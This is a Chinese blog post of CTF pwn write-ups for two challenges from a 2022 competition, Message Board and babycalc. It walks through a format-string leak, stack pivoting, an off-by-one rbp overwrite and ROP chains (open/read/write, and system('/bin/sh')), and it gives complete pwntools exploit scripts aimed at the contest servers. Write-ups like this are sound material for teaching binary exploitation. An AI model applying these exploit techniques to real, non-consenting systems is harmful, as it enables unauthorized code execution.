这一篇主要是记录一下小白第一次参加大一点比赛,比赛过程中做出来一道,还有一道是比赛的时候没想明白,赛后复现出来的,虽然只做了两道题,还是浅浅开个香槟庆祝一下🤗🤗😍😍
西湖论剑·2022初赛-Message Board
题目写的简单,先检查一下开了哪些保护:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
把程序拖进ida:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
char buf[8]; // [rsp+0h] [rbp-C0h] BYREF
char dest[8]; // [rsp+8h] [rbp-B8h] BYREF
char v7[176]; // [rsp+10h] [rbp-B0h] BYREF
sub_401236();
if ( !dword_4040AC )
{
strcpy(dest, "Hello, ");
puts("Welcome to DASCTF message board, please leave your name:");
read(0, buf, 8uLL);
dword_4040AC = 1;
}
v3 = strcat(dest, buf);
printf(v3);
puts("Now, please say something to DASCTF:");
read(0, v7, 0xC0uLL);
puts("Posted Successfully~");
return 0LL;
}
printf(v3)
这里很明显有一个格式化字符串漏洞,read(0, v7, 0xC0uLL)
这里应该就是一个栈溢出,但是这里只能溢出16个字节,大概率不够,所以思路很简单,就是利用格式化字符串漏洞泄露栈地址,然后进行栈迁移。
# 泄漏栈地址
payload = b'%20$p'
p.send(payload)
p.recvuntil(b'0x')
stack_addr = int(p.recv(12), 16) - 0xd0
print(hex(stack_addr))
# 泄漏libc地址
pop_rdi = 0x0000000000401413
leave_ret = 0x00000000004012e1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x04012E3
payload = p64(1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr) + p64(leave_ret)
p.recv()
p.send(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
print(hex(puts_addr))
按理说,之后构造rop链,再次栈迁移套模板即可,但是这里失败了,我们回过头再看,发现这个sub_401236()
函数:
__int64 sub_401236()
{
__int64 v1; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x1Eu);
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
return seccomp_load(v1);
}
这个seccomp
是不是很眼熟,前面我们提到过沙盒机制,那这个题多半也是开了沙盒,把execve
禁用了,来查看一下:
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
果然,我们不能使用execve
来提权了,那我们只能试试使用orw来获取flag:
payload = b'flag\00aaa' \
+ p64(pop_rdi) + p64(stack_addr - 0x90) + p64(pop_rsi) + p64(0) + p64(open_addr) \
+ p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(read_addr) \
+ p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr - 0x90) + p64(leave_ret)
这里注意因为栈迁移之后栈地址也发生了变化,所以我们需要修改栈地址,但是由于程序有一个全局变量dword_4040AC
限制我们只能泄露一次栈地址,所以第二次的栈地址只能手动调试计算栈地址偏移来获得。
完整的exp和题目链接:
CTF-PWN-Message Board
tcp.cloud.dasctf.com:21495
from pwn import *
context(os='linux', arch='amd64')
# p = process('./pwn')
p = remote('tcp.cloud.dasctf.com', 21495)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
# 泄漏栈地址
payload = b'%20$p'
p.send(payload)
p.recvuntil(b'0x')
stack_addr = int(p.recv(12), 16) - 0xd0
print(hex(stack_addr))
# 泄漏libc地址
pop_rdi = 0x0000000000401413
leave_ret = 0x00000000004012e1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x04012E3
payload = p64(1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr) + p64(leave_ret)
p.recv()
p.send(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
print(hex(puts_addr))
p.recvuntil(b'Now, please say something to DASCTF:')
base_addr = puts_addr - libc.symbols['puts']
open_addr = base_addr + libc.symbols['open']
read_addr = base_addr + libc.symbols['read']
write_addr = base_addr + libc.symbols['write']
pop_rsi = base_addr + 0x000000000002601f
pop_rdx = base_addr + 0x0000000000142c92
"""
orw
open, read, write
open('./flag')
read(0,buf,0x10)
write(1,buf,0x10)
"""
payload = b'flag\00aaa' \
+ p64(pop_rdi) + p64(stack_addr - 0x90) + p64(pop_rsi) + p64(0) + p64(open_addr) \
+ p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(read_addr) \
+ p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr - 0x90) + p64(leave_ret)
p.send(payload)
p.recvuntil(b'Posted Successfully~\n')
print(p.recvuntil(b'}'))
p.recv()
p.interactive()
西湖论剑·2022初赛-babycalc
这个题标注的是中等,说明有些难度,比赛过程中我也确实有几个地方没太搞明白,第二天重新复现才把这道题做出来。一样的先查看保护:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
再把程序拖进ida查看:
int sub_400789()
{
char v0; // al
char buf[208]; // [rsp+0h] [rbp-100h] BYREF
unsigned __int8 v3; // [rsp+D0h] [rbp-30h]
unsigned __int8 v4; // [rsp+D1h] [rbp-2Fh]
unsigned __int8 v5; // [rsp+D2h] [rbp-2Eh]
unsigned __int8 v6; // [rsp+D3h] [rbp-2Dh]
unsigned __int8 v7; // [rsp+D4h] [rbp-2Ch]
unsigned __int8 v8; // [rsp+D5h] [rbp-2Bh]
unsigned __int8 v9; // [rsp+D6h] [rbp-2Ah]
unsigned __int8 v10; // [rsp+D7h] [rbp-29h]
unsigned __int8 v11; // [rsp+D8h] [rbp-28h]
unsigned __int8 v12; // [rsp+D9h] [rbp-27h]
unsigned __int8 v13; // [rsp+DAh] [rbp-26h]
unsigned __int8 v14; // [rsp+DBh] [rbp-25h]
unsigned __int8 v15; // [rsp+DCh] [rbp-24h]
unsigned __int8 v16; // [rsp+DDh] [rbp-23h]
unsigned __int8 v17; // [rsp+DEh] [rbp-22h]
unsigned __int8 v18; // [rsp+DFh] [rbp-21h]
int i; // [rsp+FCh] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
printf("number-%d:", (unsigned int)(i + 1));
buf[(int)read(0, buf, 0x100uLL)] = 0;
v0 = strtol(buf, 0LL, 10);
*(&v3 + i) = v0;
}
if ( v5 * v4 * v3 - v6 != 36182
|| v3 != 19
|| v5 * 19 * v4 + v6 != 36322
|| (v13 + v3 - v8) * v16 != 32835
|| (v4 * v3 - v5) * v6 != 44170
|| (v5 + v4 * v3) * v6 != 51590
|| v9 * v8 * v7 - v10 != 61549
|| v10 * v15 + v4 + v18 != 19037
|| v9 * v8 * v7 + v10 != 61871
|| (v8 * v7 - v9) * v10 != 581693
|| v11 != 50
|| (v9 + v8 * v7) * v10 != 587167
|| v13 * v12 * v11 - v14 != 1388499
|| v13 * v12 * v11 + v14 != 1388701
|| (v12 * v11 - v13) * v14 != 640138
|| (v11 * v5 - v16) * v12 != 321081
|| (v13 + v12 * v11) * v14 != 682962
|| v17 * v16 * v15 - v18 != 563565
|| v17 * v16 * v15 + v18 != 563571
|| v14 != 101
|| (v16 * v15 - v17) * v18 != 70374
|| (v17 + v16 * v15) * v18 != 70518 )
{
exit(0);
}
return puts("good done");
}
程序逻辑很简单,读入16个数,每次读入的结果存入栈上对应的位置,最后对16个数的做计算,不满足任意一个条件都会使程序结束,所以我们的思路是,直接填充16个数所在的位置,就可以了。这16个数,我直接用笨办法手算了,没有什么技术含量。
接着我们来寻找程序漏洞,我们发现buf大小是0x100,而read可以读入的部分也是0x100,那就不是一般的栈溢出了,因为我们没办法覆盖到返回地址。这时我发现这一步buf[(int)read(0, buf, 0x100uLL)] = 0
当我将buf填满后它会把下一位覆盖为0,而填满0x100后的下一位就是rbp的最后一位,而我们用gdb调试可以发现,如果将rbp最后一个字节覆盖为0那么我们可以得到一个在栈上的返回地址,很显然想到栈迁移,可是这里我们该如何将rbp的下一位修改成leave_ret呢?
再次查看栈结构:
-0000000000000030 var_30 db ?
-000000000000002F var_2F db ?
-000000000000002E var_2E db ?
-000000000000002D var_2D db ?
-000000000000002C var_2C db ?
-000000000000002B var_2B db ?
-000000000000002A var_2A db ?
-0000000000000029 var_29 db ?
-0000000000000028 var_28 db ?
-0000000000000027 var_27 db ?
-0000000000000026 var_26 db ?
-0000000000000025 var_25 db ?
-0000000000000024 var_24 db ?
-0000000000000023 var_23 db ?
-0000000000000022 var_22 db ?
-0000000000000021 var_21 db ?
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
显然,前面的var_21到var_30就是16位数字的位置,而最后这个var_4就是i的位置,而这个位置恰好就在我们的可控范围内,因此,结合*(&v3 + i) = v0
我们可以通过修改i修改任何一个位置,但是一次只能修改一个字节。我们考虑修改rbp的下一位为leave_ret,我们使用ropper找到:
但是这里原本是0x400c3c,所以我们需要修改两个字节,也就是修改两次,但是我们尝试发现修改一个字节后再下一次开始这个值又会变回0x400c3c,也就是说我们只有一次机会修改它,那我们在ida里面手动寻找0x400c开头的leave_ret:
.text:0000000000400C19 retn
所以很明显,我们可以利用它来实现泄露libc地址:
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x00000000004005b9
main_addr = 0x400650
pop_rdi = 0x0000000000400ca3
payload = b'24' + b'a' * 38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload + 17 * p64(0xaaaa) + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'c' * 0x1c + p32(0x38)
p.recv()
p.send(payload)
try:
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
print(hex(puts_addr))
except:
return 0
这里因为不是每一次都能成功,所以为了减少工作量我们加了一个try-except。
重回之后调试发现每一次我们新的栈都是30结尾的,当30被覆盖为00后,我们只有08,10,18,20,28来填充rop,并且08刚好还是16位数字的后8位且28位我们需要用来修改i值,因此这样不太可行,所以我们把第一次填入的rop链前面加入大量ret使得我们可以改变新栈的地址后两位:
payload = b'24' + b'a' * 46 + 12 * p64(ret) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload + 4 * p64(0xaaaa) + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'c' * 0x1c + p32(0x38)
同样的方法我们构造第二段payload:
payload = b'24aaaaaa' + p64(ret) * 21 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
payload = payload.ljust(208, b'b') + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'a' * 0x1c + p32(0x38)
于是我们成功提权。
下面是完整exp和题目链接:
CTF-PWN-babycalc
tcp.cloud.dasctf.com:28504
from pwn import *
def run():
p = process('./babycalc')
# p = remote('tcp.cloud.dasctf.com', 28504)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./babycalc')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x00000000004005b9
main_addr = 0x400650
pop_rdi = 0x0000000000400ca3
payload = b'24' + b'a' * 46 + 12 * p64(ret) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload + 4 * p64(0xaaaa) + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'c' * 0x1c + p32(0x38)
p.recv()
p.send(payload)
try:
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
print(hex(puts_addr))
except:
return 0
base_addr = puts_addr - 0x06f6a0
system_addr = base_addr + 0x0453a0
bin_sh_addr = base_addr + 0x18ce57
payload = b'24aaaaaa' + p64(ret) * 21 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
payload = payload.ljust(208, b'b') + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'a' * 0x1c + p32(0x38)
p.send(payload)
sleep(2)
p.interactive()
while True:
run()
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://he.tld1027.com/2023/02/03/%e8%a5%bf%e6%b9%96%e8%ae%ba%e5%89%912022-pwn-%e9%83%a8%e5%88%86wp/
共有 0 条评论